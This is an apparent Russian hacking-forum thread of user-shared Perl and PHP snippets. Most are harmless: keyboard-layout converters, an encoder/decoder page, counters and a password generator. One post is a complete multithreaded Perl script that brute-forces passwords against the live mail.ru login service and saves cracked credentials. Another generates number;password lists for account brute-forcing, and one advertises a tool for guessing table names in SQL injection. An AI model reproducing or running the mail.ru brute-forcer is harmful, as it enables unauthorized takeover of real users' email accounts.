
16.08.2007, 19:58
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
Скрипт перевода русского текста в набор на англ раскладке
Код:
#!/usr/bin/perl
if (@ARGV < 1)
{
print "Usage: transkey.pl source\r\n";
exit();
}
$sour = $ARGV[0];
if (@ARGV = 1){
$dest = $sour . '_trans';
}
else{
$dest = $ARGV[1];
};
$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';
open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";
while (<SR>){
chomp;
@bukvy = split(//);
foreach $bk (@bukvy) {
$num = ord($bk);
if ($num < 256){
if ($num > 223){
$bk = substr($alphabet,$num-224,1);
}else{
if ($num > 191){
$bk = substr($alphabet2,$num-192,1);
};
};
};
}
print DS join("",@bukvy) . "\n";
};
close (SR);
close (DS);
|
|
|

14.09.2007, 19:26
|
|
Banned
Регистрация: 22.08.2006
Сообщений: 608
С нами:
10378404
Репутация:
1095
|
|
Сообщение от Thanat0z
Скрипт перевода русского текста в набор на англ раскладке
Код:
#!/usr/bin/perl
if (@ARGV < 1)
{
print "Usage: transkey.pl source\r\n";
exit();
}
$sour = $ARGV[0];
if (@ARGV = 1){
$dest = $sour . '_trans';
}
else{
$dest = $ARGV[1];
};
$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';
open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";
while (<SR>){
chomp;
@bukvy = split(//);
foreach $bk (@bukvy) {
$num = ord($bk);
if ($num < 256){
if ($num > 223){
$bk = substr($alphabet,$num-224,1);
}else{
if ($num > 191){
$bk = substr($alphabet2,$num-192,1);
};
};
};
}
print DS join("",@bukvy) . "\n";
};
close (SR);
close (DS);
гораздо проще можно все сделать было бы заюзав регексп:
Код:
#!/usr/bin/perl -w
use strict;
my $src = shift || die "Usage: transkey.pl <source> [destination]\n";
my $dst = shift || 'trans_'.$src;
open SR, '<', $src or die "Could not open source file\n";
open DS, '>', $dst or die "Could not create destination file\n";
$/ = undef;
my $text = <SR>;
$text =~ tr/
ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮйцукенгшщзхъфывапролджэячсмитьбю/
QWERTYUIOP[]ASDFGHJKL;'ZXCVBNM,.qwertyuiop[]asdfghjkl;'zxcvbnm,.\//;
print DS $text;
close SR;
close DS;
|
|
|

16.08.2007, 21:56
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Thanat0z, имхо, на PHP легче
PHP код:
<?
#(c) NOmeR1
function trans($str,$lang)
{
$eng = '~!@#$%^&*()_+|QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?`1234567890-=\qwertyuiop[]asdfghjkl;\'zxcvbnm,./ ';
$rus = 'Ё!"№;%:?*()_+/ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,ё1234567890-=\йцукенгшщзхъфывапролджэячсмитьбю. ';
$result = $str;
if($lang == 'eng')
{
for($i=0;$i<strlen($eng);$i++)
{
$result = str_replace($rus{$i},$eng{$i},$result);
}
return $result;
}
elseif($lang == 'rus')
{
for($i=0;$i<strlen($rus);$i++)
{
$result = str_replace($eng{$i},$rus{$i},$result);
}
return $result;
}
else
{
return '$lang может быть только \'rus\' или \'eng\'';
}
}
echo trans('Crhbgn hf,jnftn','rus');
?>
Последний раз редактировалось NOmeR1; 18.08.2007 в 15:29..
|
|
|

17.08.2007, 00:20
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Моя версия кодировщика и наоборот. + Моя функция unhex - долго искал, но решил сам написать.
PHP код:
<!--(c) NOmeR1-->
<html>
<head>
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:200px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>encode() && decode()</title>
</head>
<body>
<?
if(!$_POST['s'])
{
?>
<form style='width:300px;' method=post>
Текст:<br>
<textarea name='msg' rows=7 cols=30></textarea><br>
<input type=submit name='s'>
</form>
<?
}
elseif($_POST['msg'])
{
function unhex($hex)
{
$result = urldecode(str_replace(' ','%',' '.$hex));
if(str_replace(' ','',$hex) == bin2hex($result))
return htmlspecialchars($result);
else
return 'не возможно';
}
$m = $_POST['msg'];
echo('Слово - <b>'.htmlspecialchars($m).'</b><br>
Наоборот - <b>'.htmlspecialchars(strrev($m)).'</b><br>
Hex - <b>'.chunk_split(bin2hex($m), 2).'</b><br>
Unhex - <b>'.unhex($m).'</b><br>
Url - <b>'.htmlspecialchars(urlencode($m)).'</b><br>
Unurl - <b>'.htmlspecialchars(urldecode($m)).'</b><br>
Base64 - <b>'.htmlspecialchars(base64_encode($m)).'</b><br>
Unbase64 - <b>'.htmlspecialchars(base64_decode($m)).'</b><br>
Md5 - <b>'.md5($m).'</b>');
}
else
{
echo('Заполните поле msg');
}
?>
</body>
</html>
Последний раз редактировалось NOmeR1; 18.08.2007 в 15:34..
|
|
|

18.08.2007, 15:33
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Самый наипростейший генератор списка uin;pass.
PHP код:
<?
#(C) NOmeR1
set_time_limit(0);
$file = 'uins.txt';
if($_POST['s'] && $_POST['password'] && $_POST['from'] && $_POST['to'] && $_POST['from'] < $_POST['to'])
{
$f = fopen($file, 'ab') or die('Не возможно открыть файл');
for($i=$_POST['from'];$i<=$_POST['to'];$i++)
{
fwrite($f, $i.";".$_POST['password']."\r\n") or die('Не записать в файл');
}
fclose($f);
echo('Всё успешно записано');
}
elseif(!$_POST['s'])
{
?>
<form method=post>
От номера <input type=text name=from value="100000"><br>
До номера <input type=text name=to value="200000"><br>
Пароль <input type=text name=password value="Password"><br>
<input type=submit name=s value="Go!">
Пароли сохранятся в файл <?=$file?>
</form>
<?
}
else echo('Не правильно заполнены или не заполнены некоторые поля');
?>
Последний раз редактировалось NOmeR1; 21.08.2007 в 01:32..
|
|
|

21.08.2007, 11:54
|
|
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
С нами:
10532546
Репутация:
811
|
|
#!/usr/bin/perl
use Time::localtime;
print "Content-Type: text/html \n\n";
$ip=$ENV{'REMOTE_ADDR'};
$tm=localtime();
$y=$tm->year;
$m=$tm->mon;
$d=$tm->mday;
$m++;
$y+=1900;
$curr=$d.$m.$y.":".$ip;
#print "Current status: $curr \n\n";
$yes=0;
open(COUNT, "count.dat") || die "neotkrit!\n";
while($str=<COUNT>)
{
chomp($str);
if ($curr eq $str)
{
$yes=1;
last;
}
}
close(COUNT);
open(CTR, "ctr.dat") || die "ne otkrit!\n\n";
$ctr=<CTR>;
close(CTR);
if (!$yes)
{
open(COUNT, ">> count.dat") || die "ne otrkit\n\n";
print COUNT "$curr\n";
close(COUNT);
$ctr++;
open(CTR, "> ctr.dat") || die "neotkrit!\n\n";
print CTR "$ctr";
close(CTR);
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
else
{
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
потом создаюём counter.dat
и там пропишем
< img src="/cgi-bin/image.cgi" >
просто счётчик на перле
|
|
|

21.08.2007, 12:12
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
Простейший персональный счетчик на php кстати помещается в 4 строчки  если использовать cookies.
PHP код:
<?php
if (!isset($counter))
$counter = 0;
$counter++;
setcookie("counter", $counter, 0xAAAAAAAA);
echo "You have visited this page $counter times.";
?>
|
|
|

23.08.2007, 10:49
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
С нами:
10467746
Репутация:
4738
|
|
SQLBruter v. 0.2 By Raz0r (c) 2007
razor-ars[at]yandex.ru
ICQ 502210
Скрипт для брута названий табличек/полей
при реализации скул-инъекций. (во вложении).
|
|
|

24.08.2007, 03:40
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
С нами:
9965892
Репутация:
677
|
|
это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
Код:
#!/usr/bin/perl
use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;
######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################
( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
print "Sorry, password not found =(\n";
exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>'win.mail.ru',
PeerPort=>80);
print $sock "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
"Host: win.mail.ru\r\n".
"Accept: */*\r\n".
"Range: bytes=0-63\r\n".
"User-Agent: Opero\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"Connection: close\r\n\r\n$data";
$answ = <$sock>;
close $sock;
#print "$pass\t$answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$login:$pass\n";
print "$login:$pass\n";
close good;
exit;
}
}
}
if ( $thr < 20 && $key == 0 ) {
my $time_end = time;
my $timer = $time_end - $time_start;
print "For $thr threads time = $timer\n";
$optim[$timer] = $thr;
$thr++;
} elsif ($key == 0) {
while (1) {
$thr = shift @optim;
print "Thr $thr\n";
last if ($thr);
}
$key = 1;
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 300);
}
print bad $_;
print $_;
chomp @mas;
return @mas;
}
Последний раз редактировалось C!klodoL; 24.08.2007 в 08:37..
|
|
|

27.08.2007, 23:42
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами:
10153766
Репутация:
2565
|
|
маленький и простой генератор случайных паролей из читабельных символов...
PHP код:
<?for($i;$i<$_GET;$i++) echo chr(rand(33,126));?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|